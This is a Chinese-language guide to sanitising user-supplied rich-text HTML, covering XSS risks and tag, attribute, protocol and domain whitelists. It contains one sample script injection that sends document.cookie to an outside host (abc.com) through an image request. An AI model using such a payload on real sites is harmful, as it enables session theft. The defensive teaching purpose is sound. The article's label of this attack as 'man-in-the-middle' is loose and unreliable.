背景
富文本简单来说就是由用户自定义的部分html代码,他最终的运行方式就是插入到主业务html文档中,由浏览器解析展示。富文本相较于纯文本多了很多标记,不同标记有不同的标记属性,提供超越纯文本的交互功能。例如我们可以在富文本内容中插入一段
<a href="https://baidu.com">百度</a>
的语句, 在富文本展示在用户端页面时,就是这种效果:
客户端可以直接从你的内容中通过点击跳转至目标链接https://baidu.com。除此之外,还有img标签,可以插入图片, table标签插入表格,ul插入无序列表等。
富文本丰富了用户内容,可以允许自由的控制展示在用户面前的内容。但是如果不对富文本内容进行审查,直接使用,则会有恶意代码注入的风险。
xss注入风险
之前提到富文本是直接插入业务主html文档中由浏览器进行解析展示的。他解析的过程是通过富文本中的标记依次进行。
有些标记是安全的,例如常见的b,span,strong,em等,不会跟外部资源产生关系。但是有个标记是比较危险的,就是<script></script>标记,它允许html加载一段js代码或者文件到浏览器中执行。举例,如果我们在富文本内容中插入这样一段:
<script>
img = document.createElement('img');
img.src = 'http://abc.com?c=' + document.cookie;
document.body.appendChild(img);
</script>
他作为富文本内容出现在用户浏览器时,会伪装为一个图片,然后将cookie数据传送到abc.com服务器,然后abc.com获取到了cookie之后,就可以进行中间人攻击,篡改用户的数据。
所以,
在任何时候,都不能完全相信用户输入的内容,不加审查与清洗地加入到我们的服务内容中
我们需要先对用户输入的富文本内容进行审查与修改,才能允许它进行展示。
富文本清洗
我们对于富文本内容有三个处理来进行清洗。
- 设置标记白名单,仅允许白名单的标记出现,杜绝危险标记。
- 设置标记属性白名单,仅允许标记的白名单属性存在,杜绝onclick=""可以运行js代码的漏洞。
- 设置协议白名单。杜绝危险协议漏洞。
- 设置外部资源域名白名单,仅允许白名单内的资源引用,杜绝将客户导向危险网站。
标记白名单
以下标记是安全的
a,b,blockquote,br,caption,cite,code,col,colgroup,dd,div,dl,dt,em,h1,h2,h3,h4,h5,h6,
i,img,li,ol,p,pre,q,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,u,ul
标记属性白名单
以下标记的属性是安全的,其他的属性都应该去掉。
<a href="" />
<blockquote cite=""></blockquote>
<col span="" width=""/>
<colgroup span="" width=""></colgroup>
<img align="" alt="" height="" src="" title="" wdith="" />
<ol start="" type=""></ol>
<q cite=""></q>
<table summary="" width=""></table>
<td abbr="" axis="" colspan="" rowspan="" width=""></td>
<th abbr="" axis="" colspan="" rowspan="" scope="" width=""></th>
<ul type=""></ul>
协议白名单
- img标签的src属性,支持的协议为http,https,data,其中data为base64内嵌时的协议。
- a标签的href属性,支持的协议为http, https。不支持相对地址跳转,应该使用绝对地址。
- blockquote标签的cite属性,支持的协议为http, https。
- cite标签的cite属性,支持的协议为http, https。
域名白名单
暂时只支持 .ctyun.cn。
富文本内容的三种场景
我们总结归纳了三种比较通用的富文本场景。
- 简单场景。仅支持部分行内元素。针对标题,名称等一行能够解决问题的场景。
- 基础场景。支持包括行内元素在内,以及部分块元素。针对的是标题以外的简介描述,举例说明等一般朴素的文案说明。
- 全场景。在基础场景上支持多媒体,支持代码块等。应对的场景是展示文章内容、多媒体内容等需要详细说明的场景。
总结
- 富文本丰富了用户内容,但是会有安全漏洞。
- 利用富文本漏洞的一个常见攻击方式是通过脚本注入+中间人攻击。
- 任何时候都不应该完全相信用户输入的内容,需要对富文本进行清洗,去除危险代码。
- 通过设置标记白名单,标记属性白名单,标记属性值协议白名单,外部域名白名单来进行清洗。
- 富文本的三种通用场景,标题名称用简单场景,举例说明简单描述等用基础场景,需要详细展示内容的用全场景。